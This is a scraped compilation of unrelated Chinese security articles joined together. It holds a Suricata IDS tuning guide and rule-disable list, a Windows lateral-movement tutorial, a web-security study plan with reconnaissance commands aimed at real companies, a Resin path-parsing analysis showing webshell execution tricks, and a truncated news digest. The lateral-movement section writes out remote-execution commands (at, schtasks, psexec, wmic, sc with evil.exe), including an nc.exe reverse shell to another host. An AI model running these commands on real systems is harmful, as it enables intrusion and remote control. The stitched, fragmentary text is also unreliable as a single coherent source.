inspection-recursion-limit: 1000000
# 这里将正则表达式引擎pcre替换为intel的hyperscan（需要重新编译）
#hyperscan与pcre性能对比 https://blog.csdn.net/vevenlcf/article/details/77883178
mpm-algo: hs
spm-algo: hs
# cpu亲和性设置
cpu-affinity:
- management-cpu-set:
cpu: [ 1,0]
prio:
default: "low"
- worker-cpu-set:
cpu: [ '0-37']
mode: "exclusive"
prio:
high: [ '2-38' ]
default: "high"
pfring:
- interface: eth0
threads: 38
cluster-id: 99
cluster-type: cluster_flow
checksum-checks: no
运行
`sudo suricata --pfring-int=eth4 --pfring-cluster-id=99 --pfring-cluster-type=cluster_flow -c /etc/suricata/suricata.yaml --runmode=workers -D`
修改配置文件后不重启程序重新加载
`sudo kill -USR2 1111`
## 规则的调整
规则对性能的影响是巨大的，ET规则默认会有26000条左右
主要删除了以下几项
太老的规则（cve编号带有1999-2007，ms08之前的规则）
对环境没有用的规则（工控类、游戏、还有一些行为检测）
一些ioc，单纯匹配一些ip或者域名
分析过程中发现容易引起大量告警的规则
在国内水土不服的告警规则
参考来源：<https://github.com/suricata-rules/suricata-rules/blob/master/disable.conf>
re:classtype\:not-suspicious
re:classtype\:unknown
re:classtype\:bad-unknown
re:classtype\:rpc-portmap-decode
re:classtype\:string-detect
re:classtype\:suspicious-filename-detect
re:classtype\:suspicious-login
re:classtype\:system-call-detect
re:classtype\:tcp-connection
re:classtype\:unusual-client-port-connection
re:classtype\:non-standard-protocol
re:classtype\:protocol-command-decode
re:classtype\:kickass-porn
re:classtype\:policy-violation
re:classtype\:external-ip-check
re:classtype\:pup-activity
re:classtype\:credential-theft
2004002
2013845
2013504
2200003
re:cve-200[0-7]-\d{3,5}
re:cve-199[0-9]-\d{3,5}
2024107
re:protocol-command-decode
re:IP\sgroup
re:Modbus
re:SCADA
re:Traffic\sgroup
re:Inbound\sgroup
re:GPL\sCHAT
re:ET\sCHAT
re:ET\sGAMES
re:GPL\sGAMES
re:VOIP
re:cve,200[0-7]-\d{3,5}
re:cve,199[0-9]-\d{3,5}
re:ET\sCNC
re:\d+\.\d+\.\d+\.\d+\/\d{2}
re:alert\sip
re:alert\ssmtp
re:alert\sdns
re:alert\smodbus
re:alert\sipv6
re:alert\sdnp3
re:alert\sthe
re:alert\sntp
re:alert\sdcerpc
re:alert\sattempt
re:alert\sCheckin
re:alert\sCnC
re:alert\sFake
re:alert\slabel
re:alert\sLanding
re:alert\sSpyware
re:udp.*53.*trojan-activity
re:android
re:iphone
re:ET\sMOBILE
re:xss
re:Phishing
re:Phone
re:Wordpress
re:\b200[0-7]- re:SSL\sBlacklist
re:nbtstat
re:NBTStat
10000053
2101411
2100480
2101413
2100366
10000051
2100368
re:snmp
2011719
10000052
2013505
2002878
2012087
2016149
2024897
2013028
2101867
10000084
2016150
2013031
2402000
2003068
# ET POLICY Data POST to an image file (gif)"
2010066
# ET INFO Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0) - disable temporarily
2003492
# ET INFO Windows OS Submitting USB Metadata to Microsoft
2025275
# ET MALWARE Suspicious User-Agent (My Session) - false positives with eu.10jqka.com.cn
2010677
# ET MALWARE Alexa Search Toolbar User-Agent 2 (Alexa Toolbar)
2008085
# ET USER_AGENTS Suspicious User-Agent (HttpDownload)
2008429
# Malicious_behavior/Maliciousbehavior.rules - lost classtype
3013004
# ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)
2015744
# ET INFO Executable Download from dotted-quad Host
2016141
# ET TROJAN Backdoor family PCRat/Gh0st CnC traffic - false positives with sangfor ssl vpn
# 2016922 2018638 2018880 2019602 2020608 2020610 2020612 2020613 2020691 2020694 2020695 2020696 2020767 2020768 2020771 2020772 2020773 2020775 2020776 2020785 2020789 2020790 2020792 2020793 2020794
re:PCRat\/Gh0st
# ET TROJAN GENERIC Likely Malicious Fake IE Downloading .exe - 360 update
2018403
# ET INFO External Host Probing for ChromeCast Devices - false positives with sangfor ssl vpn
2026758
# CobatlStrikt team servers 200 OK Space - false positives ylog.hiido.com
3016011
# ATTACK [PTsecurity] Apache2 <2.2.34 <2.4.27 Optionsbleed (CVE-2017-9798) Attempt - false positives with ATD
10001948
# ET TROJAN Generic Password Stealer User Agent Detected (RookIE) - false positives with hq.sinajs.cn
2003635
# ET USER_AGENTS Suspicious User-Agent (MSIE) - false positives with imgcache.qq.com
2003657
# ET USER_AGENTS Suspicious User-Agent (Session) - Possible Trojan-Clicker - false positives with d1.wanyxbox.com
2009512
# ET POLICY User-Agent (Launcher) - false positives with EpicGamesLauncher
2010645
# ET INFO EXE - Served Attached HTTP - false positives with download.nanjingchenxi.com
2014520
# ET INFO Packed Executable Download - dl_dir.qq.com
2014819
#####################################################################################################################
# Potential Corporate Privacy Violation - idleimage.alicdn.com
# add flowbits:noalert; after flowbits:set,ET.http.binary;
2019240
# ET POLICY PE EXE or DLL Windows file download HTTP - false positives with wup1.cache.wps.cn
# add flowbits:noalert; after flowbits:set,ET.http.binary;
2018959
#####################################################################################################################
# ET MALWARE Double User-Agent (User-Agent User-Agent) - *.sougou.com
2003626
# ET INFO Hiloti Style GET to PHP with invalid terse MSIE headers - es.f.360.cn
2012612
# ET P2P Bittorrent P2P Client User-Agent (Bittorrent/5.x.x) - dl1234.com
2006372
# ET INFO DYNAMIC_DNS HTTP Request to a 3322.net Domain *.3322.org - http://www.3322.org/dyndns/getip
2013213
# ET TROJAN Suspicious User-Agent (Agent and 5 or 6 digits) - cloud.10jqka.com.cn
2013315
# ATTACK [PTsecurity] Samba RCE exploitation attempt (SambaCry)
10001356
## 效果测试
sudo pfcount -i ethX 查看当前流量
htop 性能占用
IDS监控脚本
#!/bin/bash
while [ "1" ]
do
sleep 1
clear
printf "Suricata IDS 监控脚本\n\n"
nicpacket=`ifconfig eth4|ag -o 'RX.*(?<=packets:)(\d+)'|awk -F ':' '{print $2}'`
printf "网卡总流量: %d\n" $nicpacket
nicloss=`ifconfig eth4|ag -o 'RX.*(?<=dropped:)(\d+)'|awk -F ':' '{print $4}'`
printf "网卡丢包: %d\n" $nicloss
ethlos=`ethtool -S eth4|ag 'error|drop' |ag -v ':\s0'`
echo " " $ethlos
nicoutput=`awk -v nicloss="$nicloss" -v nicpacket="$nicpacket" 'BEGIN{printf "%.4f%%\n",(nicloss/nicpacket)*100}'`
printf "网卡丢包率: %s\n\n" $nicoutput
packet=`grep Suricata /proc/net/pf_ring/*eth4*|awk -F ':' '{print $1}'|xargs -i{} cat {}|ag pack|awk -F ':' '{sum+=$2};END{printf "%10.0f\n",sum}'`
printf "Suricata总流量: %d \n" $packet
loss=`grep Suricata /proc/net/pf_ring/*eth4*|awk -F ':' '{print $1}'|xargs -i{} cat {}|ag los|awk -F ':' '{sum+=$2};END{printf "%10.0f\n",sum}'`
printf "Suricata丢包: %s\n" $loss
output=`awk -v loss="$loss" -v packet="$packet" 'BEGIN{printf "%.4f%%\n",(loss/packet)*100}'`
printf "Suricata丢包率: %s\n\n" $output
memory=`free -mh|ag -o '(?<=cache:)\s+[\d\.]+G'|sed 's/ //g'`
printf "内存占用: %s\n" $memory
runtime=`stat /var/run/suricata.pid|ag -o '(?<=最近更改：)\d{4}-\d{2}-\d{2}\s[\d:]{8}'`
echo "程序运行时间:" $runtime
alert=`cat /data/suricata/eve.json|wc -l`
echo "Suricata IDS产生告警:" $alert
rules=`cat /var/lib/suricata/rules/suricata.rules|ag '^alert'|wc -l`
printf "加载规则: %s 条\n" $rules
done
## 参考连接
1.<http://jaseywang.me/2013/11/02/10g82599eb-%E7%BD%91%E5%8D%A1%E6%B5%8B%E8%AF%95%E4%BC%98%E5%8C%96ethtool/>
2.<http://dak1n1.com/blog/7-performance-tuning-intel-10gbe/>
3.<https://www.sans.org/reading-room/whitepapers/detection/capturing-10g-1g-traffic-correct-settings-33043>
4.<https://blog.because-security.com/t/network-intrusion-detection-system-workflows-for-suricata-beyond-packets/146>
* * * | 社区文章 |
## 前言
比较菜.有什么错误的请大佬指出.感激不尽.
## 一、IPC$登录以及文件的上传与下载
#### **尝试IPC连接**
出现了如下的错误，很有可能没有开启IPC共享
System error 1312 has occurred.
A specified logon session does not exist. It may already have been terminated
#### **连接成功**
C:\Users\evi1ox\Desktop>net use \\10.10.10.21\IPC$ 123456 /user:administrator
net use \\10.10.10.21\IPC$ 123456 /user:administrator
命令成功完成。
#### **文件上传**
C:\Users\evi1ox\Desktop>copy nc.exe \\10.10.10.21\C$\
copy nc.exe \\10.10.10.21\C$\
已复制 1 个文件。
#### **文件下载**
C:\Users\evi1ox\Desktop>copy \\10.10.10.21\C$\windows\system32\cmd.exe cmd.exe
copy \\10.10.10.21\C$\windows\system32\cmd.exe cmd.exe
已复制 1 个文件。
## 二、命令执行
#### 2.1 计划任务
###### 计划任务之AT命令
at \\10.10.10.21
net time \\10.10.10.21
copy evil.exe \\[HOST]\c$\windows\temp\evil.exe
at \\10.10.10.21 18:51 C:\\nc.exe -e cmd.exe 10.10.10.2 2333
at \\10.10.10.21 [id] /delete
###### 计划任务之schtasks命令
**创建计划任务**
命令
schtasks /create /s 10.10.10.19 /u Administrator /p x /ru "SYSTEM" /tn adduser /sc DAILY /st 19:39 /tr c:\\add.bat /F
结果
SUCCESS: The scheduled task "adduser" has successfully been created.
**执行计划任务**
#### 2.1 AT
命令
schtasks /run /s 10.10.10.19 /u Administrator /p x /tn adduser
schtasks /delete /tn adduser /f /s [HOST] ## 清除 adduser
结果
SUCCESS: Attempted to run the scheduled task "adduser".
**优缺点对比**
> 2003测试失败
> at命令很容易将计划任务安排到第二天去，哈哈你懂得
> schtasks虽然强大，但是命令极为复杂
#### 2.2 psexec
psexec \\10.10.10.19 C:\add.bat
psexec.exe \\[HOST] –accepteula -u [USERNAME] -p [PASSWORD] -c evil.exe
###### 可能失败原因
> psexec需要对方开启ADMIN$共享
> 而且需要安装服务,默认关闭
> psexec退出时有可能服务删除失败
#### 2.3 srv
srv获取交互式shell
笔者的srv.exe始终没有上传成功(不能复制exe文件，或者有杀毒软件)，导致使用失败
at \\10.10.10.19 20:09 srv.exe
telnet 10.10.10.19 5188(书上说端口是99,我看了看~~~其实是5188端口)
本地测试成功，获取交互式shell
限制:很多win服务器没有开启telnet客户端服务
#### 2.4 WMI
wmic /node:10.10.10.21 /user:administrator /password:123456 process call create C:\add.bat
wmic /node:[HOST] /user:administrator /p [PASSWORD] process call create c:\windows\temp\evil.exe
wmiexec.py administrator:[email protected]
WMIEXEC.vbs获取半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 10.10.10.21 Administrator 123456
cscript.exe wmiexec.vbs /cmd 10.10.10.21 administrator 123456 "ipconfig"
#### 2.5 其他
PsRemoting远程命令执行基于WinRM，WinRM指的是Windows远程管理服务，它会监听 **http(5985);https(5986)**
端口，Windows Server2012中该功能是默认启动，但2008或2008
R2则默认是禁用的,但是不排除管理员为了方便他们对服务器进行远程管理，会将这个端口开启。
条件:两台电脑在相同域或信任域内的指定电脑
通过 **Enable-PSRemoting** 打开PS远程管理，启动了Kerberos认证
`Enter-PSSession 10.10.10.19 -Credential administrator`
(1). 系统权限(其中test为服务名)
sc \\[HOST] create boom binpath= c:\evil.exe
sc \\[HOST] start boom
sc \\[HOST] delete boom
(2). 指定用户权限启动
sc \\[HOST] create boom binpath= c:\evil.exe obj= [DOMAIN]\administrator passwrod= [PASSWORD]
sc \\[HOST] start boom | 社区文章 |
一.开始前的思考
1.我真的喜欢搞安全吗?
2.我只是想通过安全赚钱钱吗?
3.我不知道做什么就是随便。
4.一辈子做信息安全吗
这些不想清楚会对你以后的发展很不利，与其盲目的学习web安全，不如先做一个长远的计划。否则在我看来都是浪费时间。如果你考虑好了参照我的计划进行学习,我不敢保证你实践完多牛逼，但是找5k-8k的工作绝对不成问题。
1.目的
本问目的是带大家快速入门web安全，不会搞些虚张声势的东西都是我的学习经验.
不会涉及到特别详细的技术,而是指导你去如何系统的学习少走弯路，节约时间。要有自信。不要觉得任何人和任何事有多牛逼，不低估自己，不高估别人。认真学习。
2.经验
我们在学习web安全或者任何东西时都需要分阶段专注学习,比如研究XSS那么这段时间大部分精力只研究XSS。XSS通常结合CSRF来达到更好的利用效果，但是不要把太多时间放到csrf上，研究透彻xss后在研究下一个漏洞类型,要有重点的研究东西。
3.多看书和分析文章
学习代码审计时我认为最有效的方法，先去阅读相关的书籍然后找两篇分析0day的文章，照葫芦画瓢分析文章中一样版本的代码，这对你成长很有帮助，进步也非常快。
4.整理笔记
这个我觉得最重要，这是一个好习惯 可以让我们重新把学习的技术做一个总结和巩固。在总结的过程形成自己对技术的理解与创新。从而让书本上的知识变成自己的东西。
二，零基础web安全学习计划
2.1 HTTP协议请求 (TIME: 一周)
对以下下知识点做了解学习
http协议请求
http状态码
post / get 区别
可以使用Chrome浏览器中F12查看“Network”标签中的HTTP请求响应,来了解HTTP协议请求.
2.2.危险的HTTP头参数 (TIME: 一周)
HTTP请求时需对一些必要的参数做一些了解,这些参数也会造成很严重的安全安全问题如下：
user_agent
X-Forwarded-For
Referer
clien_ip
Cookie
2.3 专业术语天 (TIME: 一天)
了解如下专业术语的意思
webshell
菜刀
0day
SQL注入
上传漏洞
XSS
CSRF
一句话木马
2.4 专业黑客工具使用 (TIME: 10天)
熟悉如何渗透测试安全工具，掌握这些工具能大大提高你在工作的中的效率。
sqlmap 学习地址： <http://secbang.com/schoollist/burpsql/kclist.html>
Burpsuite 学习地址： <http://secbang.com/schoollist/burpuse/kclist.html>
nmap 学习地址： <http://secbang.com/schoollist/nmap/kclist.html>
w3af 学习地址： <http://secbang.com/schoollist/sectools/kclist.html>
nessus
Appscan
AWVS
4.脚本语言＋代码审计入门 (TIME: 10天)
推荐php不用学的太灵通，我们又不是搞开发，了解基本语法和一些危险函数即可如：open exec 等函数会造成什么漏洞,了解了php中的危险函数会造成那些漏洞可举一反三套用到别的脚本当中 asp aspx java这些语言的危险函数可能只是写法不一样功能是相同的,了解这些后就可以来做一些web漏洞的代码审计了。
php入门学习 学习地址： <https://www.w3cschool.cn/php/>
php代码审计 学习地址： <http://secbang.com/webtype.html>
5.Sql注射 (TIME: 3天)
零基础就先用最有效的办法注入推荐注入工具 sqlmap如何使用？ 如果你不想只停留在使用工具的层面，那么你需要学习一下数据库，mysql sqlserver 随便先学一个前期学会 selsct 就行，php尝试自己写一个查询数据库的脚本来了解手工sql注入的原理，这样进步会很快,如果想深入可以把各种数据库注入都温习一边。关于需要掌握的技术点：
1. 数字型注入 2.字符型注入 3.搜索注入 4.盲注(sleep注入) 5.sqlmap使用 6.宽字节注入
mysql入门 学习地址： <https://www.w3cschool.cn/mysql/>
Sqlmap 学习地址： <http://secbang.com/schoollist/burpsql/kclist.html>
sleep原理 学习地址： 盲注sleep函数执行sql注入攻击
6.CSRF 跨站点请求 (TIME: 3天)
为什么会造成csrf，GET型与POST型CSRF 的区别, 如何防御使用 token防止 csrf？
csrf 详细学习笔记
7.XSS (TIME: 7天)
要研究xss首先了解同源策略 ，Javascript 也要好好学习一下 ，以及html实体 html实体的10 或16进制还有javascript 的8进制和16进制编码，
xss 学习地址 ：在学习 XSS 前应该学习什么？
进制编码 学习地址：<http://su.xmd5.org/static/drops/tips-689.html>
同源策略 学习地址：Browser Security-同源策略、
8.文件上传漏洞 (TIME: 7天)
了解下开源编辑器上传都有那些漏洞，如何绕过系统检测上传一句话木马
上传绕过学习：
<https://wenku.baidu.com/view/867ad233dc36a32d7375a417866fb84ae45cc386.html>
9 php-远程/本地 文件包含 (TIME: 10天)
去学习下 include() include_once() require() require_once() fopen() readfile()
这些php函数是如何产生文件包含漏洞, 本地包含与远程包含的区别。
以及利用文件包含时的一些技巧如：截断 /伪url/超长字符截断 等 。
10 php-命令执行 (TIME: 3天)
PHP代码中常见的代码执行函数有：
eval(), assert(), preg_replace(), call_user_func(),
call_user_func_array(),create_function(), array_map()等。
了解这些函数的作用然后些搞清楚如何造成的代码执行漏洞。
12 ssrf (TIME: 3天)
了解ssrf的原理,以及ssrf的危害。
ssrf能做什么。当我们在进行web渗透的时候是无法访问目标的内部网络的,那么这个时候就用到了ssrf漏洞，利用外网存在ssrf的web站点可以获取如下信息。
1.可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序（比如溢出）;
3.对内网web应用进行指纹识别，通过访问默认文件实现;
4.攻击内外网的web应用，主要是使用get参数就可以实现的攻击（比如struts2，sqli等）;
5.利用file协议读取本地文件等。
13 逻辑漏洞 (TIME: 7天)
常见的逻辑漏洞一般都会在如下地方出现
1.订金额任意修改－－购物站经常出现
2.验证码回传
3.越权操作，其主要原因是没对ID参数做cookie验证导致。
4.找回密码存在设计缺陷
5.接口无限制枚举
<http://www.freebuf.com/vuls/112339.html>
14 xee（XML外部实体注入） (TIME: 5天)
当允许xml引入外部实体时，通过构造恶意内容，可以导致文件读取、命令执行、内网探测等危害
<http://blog.sina.com.cn/s/blog_8194b04f0102wsoe.html>
15 XPath注入 (TIME: 5天)
path注入攻击本质上和SQL注入攻击是类似的，都是输入一些恶意的查询等代码字符串，从而对网站进行攻击
<https://blog.csdn.net/quiet_girl/article/details/50588130>
16 服务器解析漏洞
Iis 解析漏洞
nginx 解析漏洞
tomcat 后台上传漏洞
jboss 上传漏洞
如果上述漏洞原理掌握的都差不多那么你就可以去找个工作实践一下了.
# 加分项目-渗透信息搜集 (TIME: 15天)
子域名搜集 利用DNS域名传送漏洞搜集二级域名
Liunx测试命令如下:
Dns服务器 1.1.1.1 测试域名<http://wooyun.org>
dig @1.1.1.1 <http://sechook.org> axfr
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=<http://wooyun.org> -p 53 -Pn 1.1.1
实例查询苏宁DNS服务器
D:\deep>nslookup
默认服务器: localhost
Address: 10.11.0.1
> set type=ns
> <http://suning.com>
> 服务器: localhost
> Address: 10.11.0.1
> 非权威应答:
> <http://suning.com> nameserver = <http://lns1.zdnscloud.info>
> <http://suning.com> nameserver = <http://gns2.zdnscloud.net.cn>
> <http://suning.com> nameserver = lns2.zdnscloud.biz
> <http://suning.com> nameserver = <http://gns1.zdnscloud.net>
>
> 查询苏宁<http://suning.com> IP
C:\Users\jack>nslookup <http://suning.com>
服务器: localhost
Address: 10.11.0.1
非权威应答:
名称: <http://suning.xdwscache.ourwebcdn.com>
Addresses: 203.130.60.48 //对应ip
203.130.60.49 //对应ip
203.130.60.50 //对应ip
Aliases: <http://suning.com>
<http://Suning.com.wscdns.com> //别名
在线二级域名爆破网站
<https://dnsdumpster.com/>
Netcraft - Search Web by Domain
工具获取二级域名
渗透测试中常用的在线工具--SecWiki 专题 参考链接
subDomainsBrute
wydomain
theHarvester.py
Fierce
Dig
knock
dnsspider
SubDomainscollect
SubBrute
dirfuzz
使用格式：
fierce -dns http://baidu.com -threads 3
subDomainsBrute.py http://suning.com
python theHarvester.py -d http://suning.com -l 500 -b baidu -v 国内百度找的多
python theHarvester.py -d 公司名 -l 500 -b baidu -v
python theHarvester.py -d http://suning.com -l 500 -b google -v国外站google多
python theHarvester.py -d school -l 1000 -b all all使用所有的搜索引擎进行搜索
subDomainsBrute使用需要安装依赖支持
报错信息：ImportError: No module named dns.resolver
需要安装的库是 dnspython
pip install dnspython
没有pip的话, 可以用
到https://github.com/rthalley/dnspython.git 下载
cd dnspython
python setup.py install
搜索引擎 Google新经验:
* 把google可能忽略的字列如查询范围
* 把某个字忽略
~ 同意词
. 单一的通配符
* 通配符，可代表多个字母
"" 精确查询
代码托管泄漏信息搜索
Google:
<http://andy-game.googlecode.com/svn-history/>
Gitbub:
[https://github.com/search?utf8=%E2%9C%93&q=%E5%A4%96%E7%BD%91+%E8%B1%86%E7%93%A3&type=Code&ref=searchresults](https://github.com/search?utf8=%E2%9C%93&q=%E5%A4%96%E7%BD%91+%E8%B1%86%E7%93%A3&type=Code&ref=searchresults)
邮箱搜集
Metasploit邮箱搜集链接
<http://xiao106347.blog.163.com/blog/static/215992078201311300162776/>
ip反查域名
<http://dns.aizhan.com/58.240.86.229/>
二级兄弟域名搜集
查询邮件服务器信息
目标IP地址范围搜集
利用代码托管网站搜集目标信息
确定ip 地址范围
扫描c段
获取cdn真实ip地址
社会工程学
[[安全线上安全培训--点击查看详情]](http://www.secbang.com/peixun.html "\[安全线上安全培训--点击查看详情\]")
如果觉得对你有用可以关注下安全帮公众号 "安全帮Live" <http://www.secbang.com> | 社区文章 |
## 前言
挺久没有沉下心来好好的去研究分析一个自认为有意思的东西
## 解析流程
请求路径
/webshell.jsp/123.txt
调用栈
buildInvocation:4175, WebApp (com.caucho.server.webapp)
buildInvocation:798, WebAppContainer (com.caucho.server.webapp)
buildInvocation:753, Host (com.caucho.server.host)
buildInvocation:319, HostContainer (com.caucho.server.host)
buildInvocation:1068, ServletService (com.caucho.server.cluster)
buildInvocation:250, InvocationServer (com.caucho.server.dispatch)
buildInvocation:223, InvocationServer (com.caucho.server.dispatch)
buildInvocation:1610, AbstractHttpRequest (com.caucho.server.http)
getInvocation:1583, AbstractHttpRequest (com.caucho.server.http)
handleRequest:825, HttpRequest (com.caucho.server.http)
dispatchRequest:1393, TcpSocketLink (com.caucho.network.listen)
handleRequest:1349, TcpSocketLink (com.caucho.network.listen)
handleRequestsImpl:1333, TcpSocketLink (com.caucho.network.listen)
handleRequests:1241, TcpSocketLink (com.caucho.network.listen)
调试解析流程来到
com.caucho.server.webapp.WebApp#buildInvocation(com.caucho.server.dispatch.Invocation, boolean)
//...
if (isCache) {
entry = (FilterChainEntry)this._filterChainCache.get(((Invocation)invocation).getContextURI());
}
FilterChain chain;
if (entry != null && !entry.isModified()) {
//...
}
} else {
chain = this._servletMapper.mapServlet((ServletInvocation)invocation);
this._filterMapper.buildDispatchChain((Invocation)invocation, chain);
chain = ((Invocation)invocation).getFilterChain();
chain = this.applyWelcomeFile(DispatcherType.REQUEST, (Invocation)invocation, chain);
if (this._requestRewriteDispatch != null) {
FilterChain newChain = this._requestRewriteDispatch.map(DispatcherType.REQUEST, ((Invocation)invocation).getContextURI(), ((Invocation)invocation).getQueryString(), chain);
chain = newChain;
}
entry = new FilterChainEntry(chain, (Invocation)invocation);
chain = entry.getFilterChain();
if (isCache) {
this._filterChainCache.put(((Invocation)invocation).getContextURI(), entry);
}
}
chain = this.buildSecurity(chain, (Invocation)invocation);
chain = this.createWebAppFilterChain(chain, (Invocation)invocation, isTop);
((Invocation)invocation).setFilterChain(chain);
((Invocation)invocation).setPathInfo(entry.getPathInfo());
((Invocation)invocation).setServletPath(entry.getServletPath());
if (this._oldWebApp != null && CurrentTime.getCurrentTime() < this._oldWebAppExpireTime) {
Invocation oldInvocation = new Invocation();
oldInvocation.copyFrom((Invocation)invocation);
oldInvocation.setWebApp(this._oldWebApp);
this._oldWebApp.buildInvocation(oldInvocation);
invocation = new VersionInvocation((Invocation)invocation, this, oldInvocation, oldInvocation.getWebApp(), this._oldWebAppExpireTime);
}
var26 = invocation;
return (Invocation)var26;
}
从`_filterChainCache`通过请求路径获取缓存的`FilterChainEntry`实体类，缓存中获取不到的话会调用`this._servletMapper.mapServlet`来进行获取
`entry._regexp.matcher(uri);`通过URI去匹配规则，因为`^.*\.jsp(?=/)|^.*\.jsp\z`该正则的缘故，所以这里能将xxx.jsp/123.xxx给匹配为xxx.jsp
请求走了`ServletMapping[url-pattern=*.jsp, name=resin-jsp]`的处理机制
`com.caucho.server.dispatch.ServletMapper#mapServlet`下面代码这里会创建chain
创建完成后，到`com.caucho.server.http.HttpRequest#handleRequest`调用`invocation.service`
执行filterChain走到`com.caucho.server.dispatch.PageFilterChain#doFilter`进行jsp
page的处理。
##
## 解析PHP
在`/conf/app-default.xml`文件中有这么一项，php后缀文件使用`com.caucho.quercus.servlet.QuercusServlet`来解析
使用默认的resin配置是会将这条规则进行加载的
`QuercusServlet`会调用`Quercus`来解析PHP
resin官方说明文档：<http://quercus.caucho.com/>
## 路径解析特性
### escape编码解析
调用栈
splitQueryAndUnescape:254, InvocationDecoder (com.caucho.server.dispatch)
buildInvocation:1594, AbstractHttpRequest (com.caucho.server.http)
getInvocation:1583, AbstractHttpRequest (com.caucho.server.http)
handleRequest:825, HttpRequest (com.caucho.server.http)
`com.caucho.server.dispatch.InvocationDecoder#splitQueryAndUnescape`调用`normalizeUriEscape`进行解码
`com.caucho.server.dispatch.InvocationDecoder#splitQueryAndUnescape`代码
public void splitQueryAndUnescape(Invocation invocation, byte[] rawURI, int uriLength) throws IOException {
String decodedURI;
for(int i = 0; i < uriLength; ++i) {
if (rawURI[i] == 63) {
++i;
decodedURI = this.byteToChar(rawURI, i, uriLength - i, "ISO-8859-1");
invocation.setQueryString(decodedURI);
uriLength = i - 1;
break;
}
}
String rawURIString = this.byteToChar(rawURI, 0, uriLength, "ISO-8859-1");
invocation.setRawURI(rawURIString);
decodedURI = normalizeUriEscape(rawURI, 0, uriLength, this._encoding);
//...
String uri = this.normalizeUri(decodedURI);
invocation.setURI(uri);
invocation.setContextURI(uri);
`com.caucho.server.dispatch.InvocationDecoder#normalizeUriEscape`代码
private static String normalizeUriEscape(byte[] rawUri, int i, int len, String encoding) throws IOException {
//...
try {
while(i < len) {
int ch = rawUri[i++] & 255;
if (ch == 37) {
i = scanUriEscape(converter, rawUri, i, len);
} else {
converter.addByte(ch);
}
}
String result = converter.getConvertedString();
freeConverter(converter);
return result;
}
循环遍历路径每个字符匹配`%`字符，匹配到则调用`scanUriEscape`
private static int scanUriEscape(ByteToChar converter, byte[] rawUri, int i, int len) throws IOException {
int ch1 = i < len ? rawUri[i++] & 255 : -1;
int ch2;
int ch3;
if (ch1 == 117) {
ch1 = i < len ? rawUri[i++] & 255 : -1;
ch2 = i < len ? rawUri[i++] & 255 : -1;
ch3 = i < len ? rawUri[i++] & 255 : -1;
int ch4 = i < len ? rawUri[i++] & 255 : -1;
converter.addChar((char)((toHex(ch1) << 12) + (toHex(ch2) << 8) + (toHex(ch3) << 4) + toHex(ch4)));
} else {
ch2 = i < len ? rawUri[i++] & 255 : -1;
ch3 = (toHex(ch1) << 4) + toHex(ch2);
converter.addByte(ch3);
}
return i;
}
`scanUriEscape`该方法遍历每个字符,取四个字符进行`Escape`解码，如`%u0077`后后四位数。
请求路径：
http://localhost:8088/untitled/%u0077%u0065%u0062%u0073%u0068%u0065%u006c%u006c%u002e%u006a%u0073%u0070%u002f%u0031%u0032%u0033%u002e%u0074%u0078%u0074;
解码后为：`/untitled/webshell.jsp/123.txt`
### 编码规范
注意到在`com.caucho.server.dispatch.InvocationDecoder#splitQueryAndUnescape`中调用完`normalizeUriEscape`对URI进行解码后，还会调用`com.caucho.server.dispatch.InvocationDecoder#normalizeUri(java.lang.String)`对URI进行规范化处理。
public String normalizeUri(String uri, boolean isWindows) throws IOException {
CharBuffer cb = new CharBuffer();
int len = uri.length();
if (this._maxURILength < len) {
throw new BadRequestException(L.l("The request contains an illegal URL because it is too long."));
} else {
char ch;
if (len == 0 || (ch = uri.charAt(0)) != '/' && ch != '\\') {
cb.append('/');
}
for(int i = 0; i < len; ++i) {
ch = uri.charAt(i);
if (ch != '/' && ch != '\\') {
if (ch == 0) {
throw new BadRequestException(L.l("The request contains an illegal URL."));
}
cb.append(ch);
} else {
while(i + 1 < len) {
ch = uri.charAt(i + 1);
if (ch != '/' && ch != '\\') {
if (ch == ';') {
throw new BadRequestException(L.l("The request contains an illegal URL."));
}
if (ch != '.') {
break;
}
if (len > i + 2 && (ch = uri.charAt(i + 2)) != '/' && ch != '\\') {
if (ch == ';') {
throw new BadRequestException(L.l("The request contains an illegal URL."));
}
if (ch != '.') {
break;
}
if (len > i + 3 && (ch = uri.charAt(i + 3)) != '/' && ch != '\\') {
throw new BadRequestException(L.l("The request contains an illegal URL."));
}
int j;
for(j = cb.length() - 1; j >= 0 && (ch = cb.charAt(j)) != '/' && ch != '\\'; --j) {
}
if (j > 0) {
cb.setLength(j);
} else {
cb.setLength(0);
}
i += 3;
} else {
i += 2;
}
} else {
++i;
}
}
while(isWindows && cb.getLength() > 0 && ((ch = cb.getLastChar()) == '.' || ch == ' ')) {
cb.setLength(cb.getLength() - 1);
if (cb.getLength() > 0 && (ch = cb.getLastChar()) == '/' || ch == '\\') {
cb.setLength(cb.getLength() - 1);
}
}
cb.append('/');
}
}
while(isWindows && cb.getLength() > 0 && ((ch = cb.getLastChar()) == '.' || ch == ' ')) {
cb.setLength(cb.getLength() - 1);
}
return cb.toString();
}
}
遍历字符，如果不为`/`则持续向cb中添加字符，如果为`/`则遍历`/`后面的字符为`；`则报错。为`.`则退出循环，但是这个`.`并不会添加到cb中。当出现`/.`字符的时候会检测后面第三位数是否是`.`或者第四位是不是`.`如果是的话则跳出循环，该第三或第四个字符后面的字符不为`/`的话则抛异常。也就是说说当出现了`/.`后,检测一下一个字符，如果还是`.`会出循环再检测下面的字符，下面的字符必须得是`/`,只能以`/../`的方式请求
1. `this._maxURILength`设置URI最多不能超过1024个字符
2. `/`后面不能拼接`；`，`/;`这种方式。
3. `/.`是可以的，但是不能`/.;`这种方式是会报错的
4. 在shiro中出现的`..;/`这种方式不能适用
## 参考文章
[<https://cangqingzhe.github.io/2021/10/28/resin%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/](> | 社区文章 |
# 【知识】9月19日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Optionsbleed：HTTP OPTIONS方法可以泄露Apache服务器的内存、CCleaner恶意代码分析预警、USENIX
Security '17 会议视频、Linux攻击面分析**
********
****国内热词（一下内容部分来自：<http://www.solidot.org/> ）****
********
********
CCleanup v5.33 被发现植入恶意代码
利用 Subsystem for Linux 攻击 Windows
